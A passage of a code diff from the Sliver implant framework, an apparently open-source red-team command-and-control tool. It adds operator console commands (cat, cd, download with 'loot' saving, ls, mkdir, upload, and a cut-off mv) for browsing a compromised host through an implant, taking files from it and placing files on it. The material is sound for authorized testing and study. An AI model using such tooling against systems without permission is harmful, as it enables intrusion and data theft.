if lexer == nil {
|
||||
lexer = lexers.Analyse(string(f.GetData()))
|
||||
if lexer == nil {
|
||||
lexer = lexers.Fallback
|
||||
}
|
||||
}
|
||||
style := styles.Get("monokai")
|
||||
if style == nil {
|
||||
style = styles.Fallback
|
||||
}
|
||||
formatter := formatters.Get("terminal16m")
|
||||
if formatter == nil {
|
||||
formatter = formatters.Fallback
|
||||
}
|
||||
if lexer != nil {
|
||||
iterator, err := lexer.Tokenise(nil, string(f.GetData()))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = formatter.Format(os.Stdout, style, iterator)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
} else {
|
||||
return fmt.Errorf("no lexer found")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func download(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
session := ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
if len(ctx.Args) < 1 {
|
||||
fmt.Println(Warn + "Missing parameter(s), see `help download`\n")
|
||||
return
|
||||
}
|
||||
if len(ctx.Args) == 1 {
|
||||
ctx.Args = append(ctx.Args, ".")
|
||||
}
|
||||
|
||||
src := ctx.Args[0]
|
||||
fileName := filepath.Base(src)
|
||||
dst, _ := filepath.Abs(ctx.Args[1])
|
||||
fi, err := os.Stat(dst)
|
||||
if err != nil && !os.IsNotExist(err) {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
return
|
||||
}
|
||||
if err == nil && fi.IsDir() {
|
||||
dst = path.Join(dst, fileName)
|
||||
}
|
||||
|
||||
if _, err := os.Stat(dst); err == nil {
|
||||
overwrite := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite local file?"}
|
||||
survey.AskOne(prompt, &overwrite, nil)
|
||||
if !overwrite {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
go spin.Until(fmt.Sprintf("%s -> %s", fileName, dst), ctrl)
|
||||
download, err := rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: ActiveSession.Request(ctx),
|
||||
Path: ctx.Args[0],
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if download.Encoder == "gzip" {
|
||||
download.Data, err = new(encoders.Gzip).Decode(download.Data)
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Decoding failed %s", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
dstFile, err := os.Create(dst)
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Failed to open local file %s: %s\n", dst, err)
|
||||
return
|
||||
}
|
||||
defer dstFile.Close()
|
||||
n, err := dstFile.Write(download.Data)
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Failed to write data %v\n", err)
|
||||
} else {
|
||||
fmt.Printf(Info+"Wrote %d bytes to %s\n", n, dstFile.Name())
|
||||
}
|
||||
}
|
||||
|
||||
func upload(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
session := ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
if len(ctx.Args) < 1 {
|
||||
fmt.Printf(Warn + "Missing parameter, see `help upload`\n")
|
||||
return
|
||||
}
|
||||
|
||||
src, _ := filepath.Abs(ctx.Args[0])
|
||||
_, err := os.Stat(src)
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if len(ctx.Args) == 1 {
|
||||
fileName := filepath.Base(src)
|
||||
ctx.Args = append(ctx.Args, fileName)
|
||||
}
|
||||
dst := ctx.Args[1]
|
||||
|
||||
fileBuf, err := ioutil.ReadFile(src)
|
||||
uploadGzip := new(encoders.Gzip).Encode(fileBuf)
|
||||
|
||||
ctrl := make(chan bool)
|
||||
go spin.Until(fmt.Sprintf("%s -> %s", src, dst), ctrl)
|
||||
upload, err := rpc.Upload(context.Background(), &sliverpb.UploadReq{
|
||||
Request: ActiveSession.Request(ctx),
|
||||
Path: dst,
|
||||
Data: uploadGzip,
|
||||
Encoder: "gzip",
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
} else {
|
||||
fmt.Printf(clearln+Info+"Wrote file to %s\n", upload.Path)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
Filesystem
|
||||
==========
|
||||
|
||||
This package implements file system commands such as `ls`, `cd`, `rm`, `download`, `upload`, etc.
|
||||
@@ -0,0 +1,159 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"github.com/alecthomas/chroma/formatters"
|
||||
"github.com/alecthomas/chroma/lexers"
|
||||
"github.com/alecthomas/chroma/styles"
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// CatCmd - Display the contents of a remote file
|
||||
func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
filePath := ctx.Args.String("path")
|
||||
if filePath == "" {
|
||||
con.PrintErrorf("Missing parameter: file name\n")
|
||||
return
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Downloading %s ...", filePath), ctrl)
|
||||
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: filePath,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if download.Response != nil && download.Response.Async {
|
||||
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, download)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintCat(download, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(download.Response)
|
||||
} else {
|
||||
PrintCat(download, ctx, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintCat - Print the download to stdout
|
||||
func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var (
|
||||
lootDownload bool = true
|
||||
err error
|
||||
)
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
lootName := ctx.Flags.String("name")
|
||||
userLootType := ctx.Flags.String("type")
|
||||
userLootFileType := ctx.Flags.String("file-type")
|
||||
if download.Response != nil && download.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", download.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
if download.Encoder == "gzip" {
|
||||
download.Data, err = new(encoders.Gzip).Decode(download.Data)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Decoding failed %s", err)
|
||||
}
|
||||
}
|
||||
|
||||
if saveLoot {
|
||||
lootType, err := loot.ValidateLootType(userLootType)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
// Even if the loot type is bad, we can still print the result to the screen
|
||||
// We will not loot it though
|
||||
lootDownload = false
|
||||
}
|
||||
fileType := loot.ValidateLootFileType(userLootFileType, download.Data)
|
||||
|
||||
if lootDownload {
|
||||
loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
|
||||
con.Printf("\n")
|
||||
}
|
||||
}
|
||||
if ctx.Flags.Bool("colorize-output") {
|
||||
if err = colorize(download); err != nil {
|
||||
con.Println(string(download.Data))
|
||||
}
|
||||
} else {
|
||||
if ctx.Flags.Bool("hex") {
|
||||
con.Println(hex.Dump(download.Data))
|
||||
} else {
|
||||
con.Println(string(download.Data))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func colorize(f *sliverpb.Download) error {
|
||||
lexer := lexers.Match(f.GetPath())
|
||||
if lexer == nil {
|
||||
lexer = lexers.Analyse(string(f.GetData()))
|
||||
if lexer == nil {
|
||||
lexer = lexers.Fallback
|
||||
}
|
||||
}
|
||||
style := styles.Get("monokai")
|
||||
if style == nil {
|
||||
style = styles.Fallback
|
||||
}
|
||||
formatter := formatters.Get("terminal16m")
|
||||
if formatter == nil {
|
||||
formatter = formatters.Fallback
|
||||
}
|
||||
if lexer != nil {
|
||||
iterator, err := lexer.Tokenise(nil, string(f.GetData()))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = formatter.Format(os.Stdout, style, iterator)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
} else {
|
||||
return fmt.Errorf("no lexer found")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,61 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// CdCmd - Change directory on the remote system
|
||||
func CdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
filePath := ctx.Args.String("path")
|
||||
|
||||
pwd, err := con.Rpc.Cd(context.Background(), &sliverpb.CdReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: filePath,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if pwd.Response != nil && pwd.Response.Async {
|
||||
con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, pwd)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintPwd(pwd, con)
|
||||
})
|
||||
con.PrintAsyncResponse(pwd.Response)
|
||||
} else {
|
||||
PrintPwd(pwd, con)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,226 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"google.golang.org/protobuf/proto"
|
||||
"gopkg.in/AlecAivazis/survey.v1"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
remotePath := ctx.Args.String("remote-path")
|
||||
recurse := ctx.Flags.Bool("recurse")
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
|
||||
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: remotePath,
|
||||
Recurse: recurse,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if download.Response != nil && download.Response.Async {
|
||||
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, download)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
HandleDownloadResponse(download, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(download.Response)
|
||||
} else {
|
||||
HandleDownloadResponse(download, ctx, con)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func prettifyDownloadName(path string) string {
|
||||
nonAlphaNumericRegex, err := regexp.Compile("[^a-zA-Z0-9]+")
|
||||
if err != nil {
|
||||
// Well, we tried.
|
||||
return path
|
||||
}
|
||||
|
||||
pathNoSeparators := strings.ReplaceAll(path, "\\", "_")
|
||||
pathNoSeparators = strings.ReplaceAll(pathNoSeparators, "/", "_")
|
||||
|
||||
filteredString := nonAlphaNumericRegex.ReplaceAllString(pathNoSeparators, "_")
|
||||
|
||||
// Collapse multiple underscores into one
|
||||
multipleUnderscoreRegex, err := regexp.Compile("_{2,}")
|
||||
if err != nil {
|
||||
return filteredString
|
||||
}
|
||||
|
||||
filteredString = multipleUnderscoreRegex.ReplaceAllString(filteredString, "_")
|
||||
|
||||
// If there is an underscore at the front of the filename, strip that off
|
||||
if strings.HasPrefix(filteredString, "_") {
|
||||
filteredString = filteredString[1:]
|
||||
}
|
||||
|
||||
return filteredString
|
||||
}
|
||||
|
||||
func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var err error
|
||||
if download.Response != nil && download.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", download.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
if download.Encoder == "gzip" {
|
||||
download.Data, err = new(encoders.Gzip).Decode(download.Data)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Decoding failed %s", err)
|
||||
}
|
||||
}
|
||||
|
||||
remotePath := ctx.Args.String("remote-path")
|
||||
localPath := ctx.Args.String("local-path")
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
|
||||
if download.ReadFiles == 0 {
|
||||
// No files downloaded successfully.
|
||||
con.PrintErrorf("No files downloaded from the implant - check permissions, path, and / or filters.\n")
|
||||
return
|
||||
}
|
||||
|
||||
if saveLoot {
|
||||
lootName := ctx.Flags.String("name")
|
||||
lootType, err := loot.ValidateLootType(ctx.Flags.String("type"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
// Hand off to the loot package to take care of looting
|
||||
fileType := loot.ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
|
||||
loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
|
||||
} else {
|
||||
fileName := filepath.Base(remotePath)
|
||||
dst, err := filepath.Abs(localPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
fi, err := os.Stat(dst)
|
||||
if err != nil && !os.IsNotExist(err) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if err == nil && fi.IsDir() {
|
||||
if download.IsDir {
|
||||
// Come up with a good file name - filters might make the filename ugly
|
||||
session, beacon := con.ActiveTarget.Get()
|
||||
implantName := ""
|
||||
if session != nil {
|
||||
implantName = session.Name
|
||||
} else if beacon != nil {
|
||||
implantName = beacon.Name
|
||||
}
|
||||
|
||||
fileName = fmt.Sprintf("%s_download_%s_%d.tar.gz", filepath.Base(implantName), filepath.Base(prettifyDownloadName(remotePath)), time.Now().Unix())
|
||||
}
|
||||
if runtime.GOOS == "windows" {
|
||||
// Windows has a file path length of 260 characters
|
||||
// +1 for the path separator before the file name
|
||||
if len(dst)+len(fileName)+1 > 260 {
|
||||
// Make an effort to shorten the file name. If this does not work, the operator will have to find somewhere else to put the file
|
||||
fileName = fmt.Sprintf("down_%d.tar.gz", time.Now().Unix())
|
||||
}
|
||||
}
|
||||
dst = filepath.Join(dst, fileName)
|
||||
}
|
||||
|
||||
// Add an extension to a directory download if one is not provided.
|
||||
if download.IsDir && (!strings.HasSuffix(dst, ".tgz") && !strings.HasSuffix(dst, ".tar.gz")) {
|
||||
dst += ".tar.gz"
|
||||
}
|
||||
|
||||
if _, err := os.Stat(dst); err == nil {
|
||||
overwrite := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite local file?"}
|
||||
survey.AskOne(prompt, &overwrite, nil)
|
||||
if !overwrite {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
dstFile, err := os.Create(dst)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
|
||||
return
|
||||
}
|
||||
defer dstFile.Close()
|
||||
n, err := dstFile.Write(download.Data)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write data %v\n", err)
|
||||
} else {
|
||||
var readFilesText string
|
||||
var unreadFilesText string
|
||||
|
||||
if download.ReadFiles == 1 {
|
||||
readFilesText = "file"
|
||||
} else {
|
||||
readFilesText = "files"
|
||||
}
|
||||
|
||||
if download.UnreadableFiles == 1 {
|
||||
unreadFilesText = "file"
|
||||
} else {
|
||||
unreadFilesText = "files"
|
||||
}
|
||||
|
||||
con.PrintInfof("Wrote %d bytes (%d %s successfully, %d %s unsuccessfully) to %s\n",
|
||||
n,
|
||||
download.ReadFiles,
|
||||
readFilesText,
|
||||
download.UnreadableFiles,
|
||||
unreadFilesText,
|
||||
dstFile.Name())
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,162 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// LsCmd - List the contents of a remote directory
|
||||
func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
remotePath := ctx.Args.String("path")
|
||||
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: remotePath,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintWarnf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if ls.Response != nil && ls.Response.Async {
|
||||
con.AddBeaconCallback(ls.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, ls)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintLs(ls, ctx.Flags, con)
|
||||
})
|
||||
con.PrintAsyncResponse(ls.Response)
|
||||
} else {
|
||||
PrintLs(ls, ctx.Flags, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintLs - Display an sliverpb.Ls object
|
||||
func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, con *console.SliverConsoleClient) {
|
||||
if ls.Response != nil && ls.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", ls.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
// Generate metadata to print with the path
|
||||
numberOfFiles := len(ls.Files)
|
||||
var totalSize int64 = 0
|
||||
var pathInfo string
|
||||
|
||||
for _, fileInfo := range ls.Files {
|
||||
totalSize += fileInfo.Size
|
||||
}
|
||||
|
||||
if numberOfFiles == 1 {
|
||||
pathInfo = fmt.Sprintf("%s (%d item, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
|
||||
} else {
|
||||
pathInfo = fmt.Sprintf("%s (%d items, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
|
||||
}
|
||||
|
||||
con.Printf("%s\n", pathInfo)
|
||||
con.Printf("%s\n", strings.Repeat("=", len(pathInfo)))
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
// Extract the flags
|
||||
reverseSort := flags.Bool("reverse")
|
||||
sortByTime := flags.Bool("modified")
|
||||
sortBySize := flags.Bool("size")
|
||||
|
||||
/*
|
||||
By default, name sorting is case sensitive. Upper case entries come before
|
||||
lower case ones. Instead, we will level the playing field and sort
|
||||
regardless of case
|
||||
*/
|
||||
if reverseSort {
|
||||
sort.SliceStable(ls.Files, func(i, j int) bool {
|
||||
return strings.ToLower(ls.Files[i].Name) > strings.ToLower(ls.Files[j].Name)
|
||||
})
|
||||
} else {
|
||||
sort.SliceStable(ls.Files, func(i, j int) bool {
|
||||
return strings.ToLower(ls.Files[i].Name) < strings.ToLower(ls.Files[j].Name)
|
||||
})
|
||||
}
|
||||
|
||||
/*
|
||||
After names are sorted properly, take care of the modified time if the
|
||||
user wants to sort by time. Doing this after sorting by name
|
||||
will make the time sorted entries properly sorted by name if times are equal.
|
||||
*/
|
||||
|
||||
if sortByTime {
|
||||
if reverseSort {
|
||||
sort.SliceStable(ls.Files, func(i, j int) bool {
|
||||
return ls.Files[i].ModTime > ls.Files[j].ModTime
|
||||
})
|
||||
} else {
|
||||
sort.SliceStable(ls.Files, func(i, j int) bool {
|
||||
return ls.Files[i].ModTime < ls.Files[j].ModTime
|
||||
})
|
||||
}
|
||||
} else if sortBySize {
|
||||
if reverseSort {
|
||||
sort.SliceStable(ls.Files, func(i, j int) bool {
|
||||
return ls.Files[i].Size > ls.Files[j].Size
|
||||
})
|
||||
} else {
|
||||
sort.SliceStable(ls.Files, func(i, j int) bool {
|
||||
return ls.Files[i].Size < ls.Files[j].Size
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
for _, fileInfo := range ls.Files {
|
||||
modTime := time.Unix(fileInfo.ModTime, 0)
|
||||
implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
|
||||
modTime = modTime.In(implantLocation)
|
||||
|
||||
if fileInfo.IsDir {
|
||||
fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
|
||||
} else if fileInfo.Link != "" {
|
||||
fmt.Fprintf(table, "%s\t%s -> %s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, fileInfo.Link, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
|
||||
} else {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
|
||||
}
|
||||
}
|
||||
table.Flush()
|
||||
con.Printf("%s\n", outputBuf.String())
|
||||
}
|
||||
@@ -0,0 +1,76 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// MkdirCmd - Make a remote directory
|
||||
func MkdirCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
filePath := ctx.Args.String("path")
|
||||
|
||||
if filePath == "" {
|
||||
con.PrintErrorf("Missing parameter: directory name\n")
|
||||
return
|
||||
}
|
||||
|
||||
mkdir, err := con.Rpc.Mkdir(context.Background(), &sliverpb.MkdirReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: filePath,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if mkdir.Response != nil && mkdir.Response.Async {
|
||||
con.AddBeaconCallback(mkdir.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, mkdir)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintMkdir(mkdir, con)
|
||||
})
|
||||
con.PrintAsyncResponse(mkdir.Response)
|
||||
} else {
|
||||
PrintMkdir(mkdir, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintMkdir - Print make directory
|
||||
func PrintMkdir(mkdir *sliverpb.Mkdir, con *console.SliverConsoleClient) {
|
||||
if mkdir.Response != nil && mkdir.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", mkdir.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("%s\n", mkdir.Path)
|
||||
}
|
||||
@@ -0,0 +1,84 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func MvCmd(ctx *grumble.Context, con *console.SliverConsoleClient) (err error) {
|
||||
